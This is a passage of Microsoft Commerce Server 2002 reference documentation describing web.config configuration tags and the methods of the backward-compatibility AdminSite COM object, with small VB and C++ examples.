contentSelection Tag

The contentSelection tag denotes the definition of a set of Content Selection Applications.

The contentSelection tag contains one tag: add.

add Tag

This tag denotes a new Content Selection Application.

The following table lists the attributes of the add tag.

Attribute | Data Type | Description
name | String | The name of the Content Selection Application. This attribute is used as the reference to the application in the runtime. This attribute is required.
cacheName | String | The name of the data cache used by the application. This attribute is required.
selectionPipeline | String | The name of the pipeline used for selecting the appropriate content. This name should correspond to a pipeline defined in the <pipelines> section of the web.config file. This attribute is required.
eventPipeline | String | The name of the pipeline used for recording events. This name should correspond to a pipeline defined in the <pipelines> section of the web.config file.
preloadCache | Boolean | Determines whether or not that cache will be preloaded on application startup. It is recommended to preload the cache for discount type caches if the OrderDiscount pipeline component is used within a transactional Business Processing pipeline. The default value is False. This attribute is required.
redirectURL | String | URL used for handling the click request for an advertisement or other piece of clickable content retrieved by the CSF. This attribute is optional. The default value is empty. This attribute is required.

Example

<contentSelection>
    <add name="application-name"
        cacheName="dependent cache name"
        selectionPipeline="dependent csf pipeline name"
        eventPipeline="dependent event pipeline name"
        preloadCache="true|false"
        redirectUrl="relative url"
    />
</contentSelection >

See Also

Configuration Services

CommerceContentSelectionModule Class

ContentSelectionContext Class


messageManager Tag

The messageManager tag maps the resources required by the Order Processing pipeline (OPP) from a satellite assembly to the MessageManager object. Each language that will be loaded into the MessageManager object must be specified in this configuration section, and the individual resource identifiers to be mapped from the .RESX file to the MessageManager object must be specified in the configuration. The baseName attribute is used to specify the root name of the resources. For example, the root name for the resource file named "MyResource.en-US.resources" is "MyResource". The assembly attribute is used to specify the name of the assembly containing the localized resources.

For more information about message handling in the Commerce Server .NET Application Framework, see Message Handling.

The messageManager tag contains two tags: cultures and resources.

cultures Tag

This tag denotes a new Content Selection Application.

The following table lists the attributes of the cultures tag.

Attribute | Data Type | Description
default | String | The default language used by the MessageManager object. This culture is used as the "fallback" culture in the event the OPP cannot locate a resource specific for the selected culture. The format of this string is identical to the "specific culture" format used by the .NET Frameworks: <neutral-culture>-<specific-culture> For example, U.S. English would be en-EN. This attribute is required.

culture Tag

This tag denotes an instance of a culture that will be mapped into the MessageManager object.

The following table lists the attributes of the culture tag.

Attribute | Data Type | Description
id | String | The culture ID for this culture. The format of this string is identical to the specific culture format used by the .NET Framework: <neutral-culture>-<specific-culture> For example, U.S. English would be en-EN. This attribute is required.

resources Tag

This tag is a container for the resources that will be mapped from the .RESX file into the MessageManager object.

The resources tag has no attributes.

resource Tag

This tag denotes a specific resource to be mapped from the .RESX file to the MessageManager object.

The following table lists the attributes of the resource tag.

Attribute | Data Type | Description
id | String | The identifier assigned to the resource in the .RESX file. This attribute is required.

Example

<messageManager>
    <cultures default="culture-id">
        <culture id="culture-id"/>
    </cultures>
    <resources>
        <resource id="resource-id"/>
    </resources>
</messageManager>

See Also

Configuration Services


pipelines Tag

The pipelines tag is used for configuring the use of various pipelines in the application. Each pipeline is configured with its own pipeline tag. This tag supports several attributes that determine the type of pipeline object that will be used to run the pipeline, for example, OrderPipeline, PooledPipeline, or PooledTxPipeline. Only the name and path attributes of the pipeline tag are required attributes, all other attributes contain default values that will be used if the attribute is unspecified.

Note

  • If you enable pipeline logging from the web.config file, you must also create a /pipelines/log directory manually in order for the runtime to successfully run and log pipeline executions.

The pipelines tag contains one tag: pipeline tag.

pipeline Tag

This tag defines a new pipeline in the web.config file. Each instance of this tag corresponds to an instance in the PipelineCollection object stored in the application.

The following table lists the attributes of the pipeline tag.

Attribute | Data Type | Description
name | String | The name of the pipeline. This name will be used to access the pipeline in the application. This attribute is required.
type | String | The role of the pipeline in the application. The acceptable options are CSF and Order. The default type is Order. This attribute is optional.
transacted | Boolean | Determines whether a transacted pipeline object should be used for running the pipeline. This attribute is optional for order pipelines, but for CSF pipelines the value cannot be set to True.
path | String | The path to the .pcf file that defines the pipeline. The path should be specified relative to the application, for example, ".\pipelines\basket.pcf". This attribute is required.
loggingEnabled | Boolean | Determines whether or not pipeline logging is enabled. When set to True, a pipeline log will be created in the relative path /pipelines/log. The log file will be named using the ID of the user making the corresponding request to run the pipeline, and the extension "pipelog" will be used for the log file name. If the user cannot be identified, the log file will be named based on the pipeline being run, for example "basket.pcf.pipelog". The default value is False. This attribute is required.

Example

<pipelines>
      <pipeline name="pipeline name"
             type="CSF|Order"
             transacted="true|false"
             path="path to .pcf file"
             logEnabled="true|false"
      />
</pipelines>

See Also

Configuration Services

CommerceApplicationModule Class

ContentSelectionPipeline Class

OrderPipeline Class

PipelineCollection Class


profiles Tag

The profiles tag is used for configuring the user profiles and catalog sets functionality. It describes the high-level schema implemented by the User and Organization profiles to the runtime. This information is used by the CommerceContext object in its implementation of the userProfile and organizationProfile smart properties and in the CommerceContext.GetGatalogsForUser method. There is no configuration that can be done using the profiles tag alone, it is simply a container for other tags.

The profiles tag contains three optional tags: encryption, userProfile, and organizationProfile.

encryption Tag

This tag denotes the description of the encryption key configured in the Profiling System.

The encryption tag is required if the application will read or write asymmetrically encrypted profile members, otherwise it is optional. There is no configuration that can be done using the encryption tag alone, it is simply a container for other tags.

The encryption tag contains one tag, the keys tag.

keys Tag

The keys tag contains one tag, the add tag. A maximum of three add tags may be added to a keys tag.

The following table lists the attribute of the keys tag.

Attribute Data Type Description
keyIndex Integer Denotes the current key pair used for encryption/decryption.

The set of valid values is 1 or 2.

If the keyIndex attribute is set to 1, then the add tag type attribute values of publicKey and privateKey1 form the current key pair.

If the keyIndex attribute is set to 2, then the add tag type attribute values of publicKey and privateKey2 form the current key pair.

This attribute is required if the application writes to asymmetrically encrypted profile properties. This attribute must be used in conjunction with an add tag whose type attribute is PublicKey.

add Tag

A maximum of three add tags may be added to a keys tag.

The following table lists the attributes of the add tag.

Attribute Data Type Description
type String The type of public/private keys used for encryption/decryption.

The set of valid set of case sensitive values are publicKey, privateKey1, and privateKey2. The publicKey is required if the keyIndex attribute is specified as they must be provided together.

The publicKey is required if the application writes to asymmetrically encrypted profile properties or if the keyIndex attribute is set, as they keyIndex attribute must be used in conjunction with the publicKey.

The privateKey1 is required if the application reads asymmetrically encrypted profile properties that were encrypted when the keyIndex attribute was set to 1. Otherwise the privateKey1 is optional.

The privateKey2 is required if the application reads asymmetrically encrypted profile properties that were encrypted when the keyIndex attribute was set to 2. Otherwise this attribute is optional.

This attribute is case sensitive.
value String The hexadecimal string for the type attribute specified. Only keys generated using the Microsoft Windows CryptoAPI routines are valid. For more information about generating keys for the value attribute, see Generating public and private keys.

This attribute is case sensitive.

To determine the keyIndex value used to encrypt the profile, query the profile member used to save the keyIndex value. Definition of a profile member used to save the keyIndex attribute is mandatory in profiles using asymmetric encryption. For more information about asymmetric encryption, see Managing Encrypted Profile Properties .

There are several acceptable combinations of the encryption tag attributes. For encryption, the recommended combination is PublicKey + KeyIndex. For decryption, the recommended combination is PrivateKey1 + PrivateKey2. For both encryption and decryption, the recommended combination is PublicKey + KeyIndex + PrivateKey1 + PrivateKey2.

For more information about generating public and private key pairs or defining encrypted members on profiles, see Managing Encrypted Profile Properties .

userProfile Tag

This tag denotes the description of the User profile configured in the Profiling System.

The following table lists the attributes of the userProfile tag.

Attribute | Data Type | Description
profileDefinition | String | The name of the profile definition that corresponds to a user in the Profiling System. This attribute is optional. Default value is UserObject.
userIdProperty | String | The property in the user profile that stores the unique user ID. This should not be confused with the logon name; the user ID is the primary key used to distinguish all instances of the user profile from each other. This attribute is optional. Default value is user_id.
organizationIdProperty | String | The property in the user profile that stores the unique identifier of the instance of the organization profile with which the user profile is associated. This attribute is optional. Default value is AccountInfo.org_id.
catalogSetIdProperty | String | The property in the user profile that stores the catalog set or sets with which a particular instance of the user profile is associated. This attribute is optional. Default value is AccountInfo.user_catalog_set.

organizationProfile Tag

This tag denotes the description of the Organization profile configured in the Profiling System.

The following table lists the attributes of the organizationProfile tag.

Attribute | Data Type | Description
profileDefinition | String | The name of the profile definition that corresponds to an organization in the Profiling System. This attribute is optional. Default value is Organization.
organizationIdProperty | String | The property in the organization profile that stores the unique identifier of the instance of the organization profile that distinguishes it from all other instances of organization profiles. This attribute is optional. Default value is GeneralInfo.org_id.
catalogSetIdProperty | String | The property in the organization profile that stores the catalog set or sets with which a particular instance of the organization profile is associated. This attribute is optional. Default value is GeneralInfo.org_catalog_set.

Example

<profiles>
    <userProfile
        profileDefinition="UserObject"
        userIdProperty="GeneralInfo.logon_name"
        organizationIdProperty="AccountInfo.org_id"
        catalogSetIdProperty="AccountInfo.user_catalog_set"
    />
    <organizationProfile
        profileDefintion="Organization"
        organizationIdProperty="GeneralInfo.org_id"
        catalogSetIdProperty="GeneralInfo.org_catalog_set"
    />

   <encryption>
       <keys keyIndex="1">
           <add type="publicKey" value="<hex-string>" />
           <add type="privateKey1" value="<hex-string>" />
           <add type="privateKey2" value="<hex-string>" />
       </keys>
  </encryption>

</profiles>

See Also

Configuration Services

Business Desk Profiles

CommerceContext Class

Profile Class


COM Object Reference

This section provides detailed information about the Component Object Model (COM) objects supplied with Microsoft Commerce Server 2002. Parallel reference pages are provided to describe the objects from the perspective of two different programming languages:

  • Microsoft Visual Basic/Microsoft Visual Basic Scripting Edition (VBScript)
  • C++

Note

  • Access to the Commerce Server objects from Java and Microsoft JScript is not supported.

This section contains:

  • Backward Compatibility Objects. Provides reference pages and programming concepts for backward compatibility objects.
  • Cache Objects. Provides reference pages, programming concepts, and examples for cache objects.
  • Configuration Objects. Provides reference pages, programming concepts, and examples for configuration objects.
  • Core Objects. Provides reference pages, programming concepts, and examples for core objects.
  • Migration Objects. Provides reference pages for migration objects.
  • Order Processing Objects. Provides reference pages, programming concepts, and examples for order processing objects.
  • Pipeline Objects. Provides reference pages, programming concepts, and examples for pipeline objects.
  • Product Catalog Objects. Provides reference pages, programming concepts, and examples for product catalog objects.
  • Profiling System Objects. Provides reference pages, programming concepts, and examples for profiling system objects.
  • Targeting Objects. Provides reference pages, programming concepts, and examples for targeting objects.
  • Alphabetic Listing of COM Objects. Provides a list of all COM objects available in Commerce Server 2002.
  • Managing COM Parameter Memory. Provides information about ownership of COM parameter memory before and after invoking COM objects.
  • Standard COM Errors. Provides information about the standard COM errors used by many of the Commerce Server COM objects to communicate failures to their callers.


Backward Compatibility Objects

The backward compatibility objects are used to gain access to site configuration values, to create and retrieve shopper IDs, and to simplify forms processing in Site Server 3.0 Commerce Edition sites.

Important

  • These object are included for backward compatibility with Site Server 3.0 Commerce Edition, and will not be supported in future releases of Commerce Server.

The Backward Compatibility Programming Concepts topic describes the major issues relating to the use of the backward compatibility objects.

Objects

Visual Basic Reference | C++ Invocation | Description
AdminSite | AdminSite | Provides read/write access to site configuration properties and allows site administration. This object is supplied for backward compatibility purposes only.
Page | Page | Provides formatting and validation methods that simplify forms processing in ASP pages. This object is supplied for backward compatibility purposes only.
StandardSManager | StandardSManager | Facilitates the run time creation and retrieval of user IDs. This object is supplied for backward compatibility purposes only.


Backward Compatibility Programming Concepts

The following topics contain descriptions for the objects that are considered backward compatibility objects.

AdminSite Object

StandardSManager Object

Page Object

AdminSite Object

Use this object to gain centralized access to the Site Server 3.0 Commerce Edition site configuration, so that you can configure and maintain the site.

This object provides read/write access to the configuration properties and has many functions that allow administration of Site Server 3.0 Commerce Edition sites.

Note:

  • You cannot use this object with Commerce Server 2002 sites. It is included only for backwards compatibility with Site Server 3.0 Commerce Edition.

See Also

Configuration Objects

StandardSManager Object

Use this object to facilitate the run-time creation and retrieval of shopper IDs.

Note

  • This object is included only for purposes of backward compatibility with Site Server 3.0 Commerce Edition; it has been replaced by the AuthManager object.

See Also

AuthManager Object

Page Object

Use this object to simplify forms processing in Active Server Pages (ASP).

The Page object methods fall into the following categories:

  • Formatting methods. These methods include Encode, Option, and Check. These methods make it possible for you to easily format HTML page items, and where applicable, to determine HTML item values based on a run-time evaluation of other variables used in your page.
  • Validation methods. These methods begin with Request. They are used to retrieve values from a URL query string, convert the values to given data types based on a locale value, and then validate these values against a specified range.

For more information, see the AuthManager and AppFrameWork objects, which provide similar functionality to many of the methods in this object.


AdminSite Object [C++]

AdminSite Object [Visual Basic]

Use this object to gain centralized access to the Site Server 3.0 Commerce Edition site configuration, so that you can configure and maintain the site.

Important

  • You cannot use this object with Commerce Server 2002 sites. It is included only for backwards compatibility with Site Server 3.0 Commerce Edition.
ProgID: | Commerce.AdminSite (Externally creatable)
COM Class Name: | AdminSite
Type Library Name: | Commerce Admin 1.0 Type Library
DLL Name: | MSCSadmin.dll
Threading Model: | Both
[C++]
COM Interface Name: | IAdminSite
Interface ID Constant: | None
Header File: | None

[C++] In C++, use the IAdminSite interface to access the properties and methods of the AdminSite object.

Methods

[C++]
Method | Description
Create | Creates a Site Server 3.0 Commerce Edition site.
Delete | Deletes a Site Server 3.0 Commerce Edition site.
Initialize | Initializes the AdminSite object to load information related to the Site Server 3.0 Commerce Edition site.
InitializeFromMDPath | Initializes the AdminSite object from a metabase path.
IsValidName | Determines whether a given text string is a valid short name for a Site Server 3.0 Commerce Edition site.
ReadDefaultProperties | Reads the properties from the Site.csc file and returns a Dictionary object containing these properties.
ReadManagerProperties | Reads the properties from the Site.csc file and returns a Dictionary object (the site dictionary) containing these properties.
Reload | Resets all application and session objects for the Site Server 3.0 Commerce Edition site.
WriteDefaultProperties | Writes the properties from the specified site dictionary to the Site.csc file.
WriteManagerProperties | Writes the properties from the specified site dictionary to the Site\Manager\Config\Site.csc file.
[Visual Basic]
Method | Description
Create | Creates a Site Server 3.0 Commerce Edition site.
Delete | Deletes a Site Server 3.0 Commerce Edition site.
Initialize | Initializes the AdminSite object to load information related to the Site Server 3.0 Commerce Edition site.
InitializeFromMDPath | Initializes the AdminSite object from a metabase path.
IsValidName | Determines whether a given text string is a valid short name for a Site Server 3.0 Commerce Edition site.
ReadDefaultProperties | Reads the properties from the Site.csc file and returns a Dictionary object containing these properties.
ReadManagerProperties | Reads the properties from the Site\Manager\Config\Site.csc file and returns a Dictionary object (the site dictionary) containing these properties.
Reload | Resets all application and session objects for the Site Server 3.0 Commerce Edition site.
WriteDefaultProperties | Writes the properties from the specified site dictionary to the Site.csc file.
WriteManagerProperties | Writes the properties from the specified site dictionary to the Site\Manager\Config\Site.csc file.

Properties

[C++]
Property | Type | Description
Directory | BSTR | Stores the currently registered Site Server 3.0 Commerce Edition site physical directory. This property is read/write.
Status | VARIANT | Stores the open/closed status of a Site Server 3.0 Commerce Edition site. This property is read/write.
Version | long | Stores the Site Server 3.0 Commerce Edition version number. This property is read-only.
[Visual Basic]
Property | Type | Description
Directory | String | Stores the currently registered Site Server 3.0 Commerce Edition site physical directory. This property is read/write.
Status | Variant | Stores the open/closed status of a Site Server 3.0 Commerce Edition site. This property is read/write.
Version | Long | Stores the Site Server 3.0 Commerce Edition version number. This property is read-only.


AdminSite Methods [C++]

AdminSite Methods [Visual Basic]

Methods

[C++]
Method | Description
Create | Creates a Site Server 3.0 Commerce Edition site.
Delete | Deletes a Site Server 3.0 Commerce Edition site.
Initialize | Initializes the AdminSite object to load information related to the Site Server 3.0 Commerce Edition site.
InitializeFromMDPath | Initializes the AdminSite object from a metabase path.
IsValidName | Determines whether a given text string is a valid short name for a Site Server 3.0 Commerce Edition site.
ReadDefaultProperties | Reads the properties from the Site.csc file and returns a Dictionary object containing these properties.
ReadManagerProperties | Reads the properties from the Site.csc file and returns a Dictionary object (the site dictionary) containing these properties.
Reload | Resets all application and session objects for the Site Server 3.0 Commerce Edition site.
WriteDefaultProperties | Writes the properties from the specified site dictionary to the Site.csc file.
WriteManagerProperties | Writes the properties from the specified site dictionary to the Site\Manager\Config\Site.csc file.
[Visual Basic]
Method | Description
Create | Creates a Site Server 3.0 Commerce Edition site.
Delete | Deletes a Site Server 3.0 Commerce Edition site.
Initialize | Initializes the AdminSite object to load information related to the Site Server 3.0 Commerce Edition site.
InitializeFromMDPath | Initializes the AdminSite object from a metabase path.
IsValidName | Determines whether a given text string is a valid short name for a Site Server 3.0 Commerce Edition site.
ReadDefaultProperties | Reads the properties from the Site.csc file and returns a Dictionary object containing these properties.
ReadManagerProperties | Reads the properties from the Site\Manager\Config\Site.csc file and returns a Dictionary object (the site dictionary) containing these properties.
Reload | Resets all application and session objects for the Site Server 3.0 Commerce Edition site.
WriteDefaultProperties | Writes the properties from the specified site dictionary to the Site.csc file.
WriteManagerProperties | Writes the properties from the specified site dictionary to the Site\Manager\Config\Site.csc file.

Remarks

The AdminSite object provides methods for administering a site, such as specifying data sources and user accounts. The object keeps a number of properties related to the configuration in the site dictionary, which is an implementation of a Dictionary object called MSCSSite. These properties include the short and long names of the site, the secure host, the non-secure host, and the names of other Dictionary objects such as lists of named connection strings and named queries.

See Also

Backward Compatibility Objects


IAdminSite::Create Method [C++]

AdminSite.Create Method [Visual Basic]

Use this method to create a Site Server 3.0 Commerce Edition site and to optionally create an application and the Config\SQL\SqlSvr and Config\SQL\Oracle subdirectories.

Definition

[C++]
HRESULT IAdminSite::Create(
  BSTR bstrInstance,
  BSTR bstrVDir,
  BSTR bstrDir,
  long nAuthorization,
  VARIANT_BOOL bIsApplication,
  VARIANT_BOOL bIsCommerceSite
);
[Visual Basic]
Sub Create(
  bstrInstance As String,
  bstrVDir As String,
  bstrDir As String,
  nAuthorization As Long,
  bIsApplication As Boolean,
  bIsCommerceSite As Boolean
)

Parameters

bstrInstance [C++]
[in] A numeric value expressed as a BSTR representing a Web site. For the default Web site, use (1).
bstrInstance [Visual Basic]
A numeric value expressed as a String representing a Web site. For the default Web site, use (1).
bstrVDir [C++]
[in] A BSTR that contains the Site Server 3.0 Commerce Edition site short name (virtual directory).
bstrVDir [Visual Basic]
A String that contains the Site Server 3.0 Commerce Edition site short name (virtual directory).
bstrDir [C++]
[in] A BSTR that specifies the physical directory in which to create the site.
bstrDir [Visual Basic]
A String that specifies the physical directory in which to create the site.
nAuthorization [C++]
[in] A long that contains the authorization type.
nAuthorization [Visual Basic]
A Long that contains site authorization type.
bIsApplication [C++]
[in] A VARIANT_BOOL that controls whether an application is created for the site. If set to TRUE, an application is created for the site. Otherwise no application is created. This setting must be TRUE for a Site Server 3.0 Commerce Edition site.
bIsApplication [Visual Basic]
A Boolean that controls whether an application is created for the site. If set to True, an application is created for the site. Otherwise no application is created. This setting must be True for a Site Server 3.0 Commerce Edition site.
bIsCommerceSite [C++]
[in] A VARIANT_BOOL that controls whether SQL Server and Oracle subdirectories are created for the site. When set to TRUE, the method marks the site for administration by Site Server 3.0 Commerce Edition and creates the Directory\Config\SQL\SqlSvr and Directory\Config\SQL\Oracle subdirectories (where Directory is the value passed in the bstrDir parameter). When set to FALSE, the method creates the top level Directory directory only.
bIsCommerceSite [Visual Basic]
A Boolean that controls whether SQL Server and Oracle subdirectories are created for the site. When set to True, the method marks the site for administration by Site Server 3.0 Commerce Edition and creates the Directory\Config\SQL\SqlSvr and Directory\Config\SQL\Oracle subdirectories (where Directory is the value passed in the bstrDir parameter). When set to False, the method creates the top level Directory directory only.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

An AdminSite object must be initialized before most of its other methods can be called (the Create and IsValidName methods are exceptions). An object that has been created by the Create method of the AdminSite object is automatically initialized and does not need an explicit call to its Initialize method.

The valid characters and length for a Web site name are determined by the restrictions on the names of Microsoft SQL Server tables. In addition, a short name must not conflict with another short name on the server.

Before you actually create a site, use the IsValidName method to ensure that the short name of the site is valid. The name must conform to several rules for forming valid names in many environments. For example, Commerce Server appends the short name of a site to database tables and to generated pages.

[Visual Basic]

Example

' oAdminSite is a Commerce.AdminSite object
' The szSite argument contains the site short name,
'  and szSiteRoot contains the physical directory.
AdminSite.Create ("1", szSite, NULL, szSiteRoot, true, true)

See Also

[C++] AdminSite Object

[C++] IAdminSite::Delete

[C++] IAdminSite::Initialize

[C++] IAdminSite::IsValidName

[Visual Basic] AdminSite Object

[Visual Basic] AdminSite.Delete

[Visual Basic] AdminSite:Initialize

[Visual Basic] AdminSite.IsValidName


IAdminSite::Delete Method [C++]

AdminSite.Delete Method [Visual Basic]

Use this method to delete a Site Server 3.0 Commerce Edition site. The Delete method removes attributes of the site from the Internet Information Services (IIS) metabase (directories and databases are not removed).

Definition

[C++]
HRESULT IAdminSite::Delete(
);
[Visual Basic]
Sub Delete()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

An AdminSite object must be initialized before most of its other methods can be called (the Create and IsValidName methods are exceptions). An object that has been created by the Create method of the AdminSite object is automatically initialized and does not need an explicit call to its Initialize method.

See Also

[C++] AdminSite Object

[C++] IAdminSite::Create

[Visual Basic] AdminSite Object

[Visual Basic] AdminSite.Create


IAdminSite::Initialize Method [C++]

AdminSite.Initialize Method [Visual Basic]

Use this method to initialize the AdminSite object so that information related to the Site Server 3.0 Commerce Edition site can be loaded. The site is uniquely identified using the site short name and the server instance. The ReadDefaultProperties method uses this information to load the site properties.

Definition

[C++]
HRESULT IAdminSite::Initialize(
  BSTR bstrInstance,
  BSTR bstrVDir
);
[Visual Basic]
Sub Initialize(
  bstrInstance As String,
  bstrVDir As String
)

Parameters

bstrInstance [C++]
[in] A numeric value, expressed as a BSTR that represents a Web site.
bstrInstance [Visual Basic]
A numeric value, expressed as a String that represents a Web site.
bstrVDir [C++]
[in] A BSTR that contains the Site Server 3.0 Commerce Edition site short name (virtual directory).
bstrVDir [Visual Basic]
A String that contains the Site Server 3.0 Commerce Edition site short name (virtual directory).

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

You must initialize an AdminSite object before you can use any other methods of the object (except Create and IsValidName). An object created by the Create method of the AdminSite object is initialized automatically and does not need an explicit call to the Initialize method.

See Also

[C++] AdminSite Object

[C++] IAdminSite::ReadDefaultProperties

[C++] IAdminSite::Create

[C++] IAdminSite::IsValidName

[Visual Basic] AdminSite Object

[Visual Basic] AdminSite.ReadDefaultProperties

[Visual Basic] AdminSite.Create

[Visual Basic] AdminSite.IsValidName


IAdminSite::InitializeFromMDPath Method [C++]

AdminSite.InitializeFromMDPath Method [Visual Basic]

Use this method to initialize the AdminSite object from a specified Internet Information Services (IIS) metabase path. The metabase path can be retrieved using a call to the Request.ServerVariables method.

Definition

[C++]
HRESULT IAdminSite::InitializeFromMDPath(
  BSTR bstrMDPath
);
[Visual Basic]
Sub InitializeFromMDPath(
  bstrMDPath As String
)

Parameters

bstrMDPath [C++]
[in] A BSTR that contains the metabase path. The metabase path can be retrieved using a call to the Request.ServerVariables method.
bstrMDPath [Visual Basic]
A String that contains the metabase path. The metabase path can be retrieved using a call to the Request.ServerVariables method.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Unlike the Initialize method, which requires that a server instance and virtual directory be specified separately, this method requires a metabase path to be specified.

[Visual Basic]

Example

' The following example initializes an AdminSite object
' for the application's metabase path:
' oAdmSite is a Commerce.AdminSite object
' The szSite argument contains the site short name,
'  and szSiteRoot contains the physical directory.
AdminSite.Create ("1", szSite, szSiteRoot, true, true)

Call oAdmSite.InitializeFromMDPath(Request.ServerVariables("APPL_MD_Path"))

' The Request.ServerVariables("APPL_MD_Path") expression returns
'  the metabase path in the form /LM/W3SVC/1/mySite , where
'  LM refers to the Local Machine, W3SVC refers to the
' Internet Service, 1 is the server instance, and mySite is the
' root of the Web site. This method works only if the application
' is created at the virtual directory (not a sub-directory).

See Also

[C++] AdminSite Object

[C++] IAdminSite::Initialize

[Visual Basic] AdminSite Object

[Visual Basic] AdminSite.Initialize


IAdminSite::IsValidName Method [C++]

AdminSite.IsValidName Method [Visual Basic]

Use this method to determine the validity of a site name. The IsValidName method returns a value of True if the specified Site Server 3.0 Commerce Edition site short name is valid, and False otherwise.

Definition

[C++]
HRESULT IAdminSite::IsValidName(
  BSTR bstrName,
  BSTR bstrInstance,
  VARIANT_BOOL* pbRet
);
[Visual Basic]
Function IsValidName(
  bstrName As String,
  bstrInstance As String
) As Boolean

Parameters

bstrName [C++]
[in] A BSTR that specifies the short name to be tested.
bstrName [Visual Basic]
A String that specifies the short name to be tested.
bstrInstance [C++]
[in] A BSTR that specifies the Web server instance. To obtain a list of server instances, use the GetWebSites method. For the default Web site, use "1".
bstrInstance [Visual Basic]
A String that specifies the Web server instance. To obtain a list of server instances, use the GetWebSites method. For the default Web site, use "1".
pbRet [C++]
[out] The address of a VARIANT_BOOL used to return an indication of whether or not the site name is valid.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Boolean. A value of True indicates that the short site name is valid. A value of False indicates that the short site name is not valid.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The valid characters and length for a Web site name are determined by the restrictions on the names of Microsoft SQL Server tables. In addition, a short name must not conflict with any other short name on the server.

[C++] The pbRet parameter contains valid data only if the method returns successfully.

Before you actually create a site, use this method to ensure that the short name of the site is valid. The name must conform to several rules for forming valid names in many environments. For example, Commerce Server appends the short name of a site to database tables and to generated pages.

The IsValidName method of an object can be called without calling the Initialize or Create methods of the object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oAdminSite is a Commerce.AdminSite object
' The szSite argument contains the site short name
' bResult is a Boolean
bResult = oAdminSite.IsValidName(szSite,"1")

See Also

[C++] AdminSite Object

[C++] IAdminSite::Initialize

[Visual Basic] AdminSite Object

[Visual Basic] AdminSite.Initialize


IAdminSite::ReadDefaultProperties Method [C++]

AdminSite.ReadDefaultProperties Method [Visual Basic]

Use this method to read the properties from the Site.csc file and return a site dictionary containing these properties.

Definition

[C++]
HRESULT IAdminSite::ReadDefaultProperties(
  IDictionary** ppIDictProp
);
[Visual Basic]
Function ReadDefaultProperties() As Object

Parameters

ppIDictProp [C++]
[out] The address of a pointer used to return the IDictionary interface of the Dictionary object that contains the site properties read from the Site.csc file.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a reference to a Dictionary object that contains the site properties read from the Site.csc file.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Site.csc file for the Site Server 3.0 Commerce Edition site resides in the site\Config directory, and the Site.csc file for the manager site resides in the site\Manager\Config directory.

[C++] The ppIDictProp parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] AdminSite Object

[C++] IAdminSite::WriteDefaultProperties

[C++] IAdminSite::ReadManagerProperties

[C++] IAdminSite::Initialize

[Visual Basic] AdminSite Object

[Visual Basic] AdminSite.WriteDefaultProperties

[Visual Basic] AdminSite.ReadManagerProperties

[Visual Basic] AdminSite.Initialize


IAdminSite::ReadManagerProperties Method [C++]

AdminSite.ReadManagerProperties Method [Visual Basic]

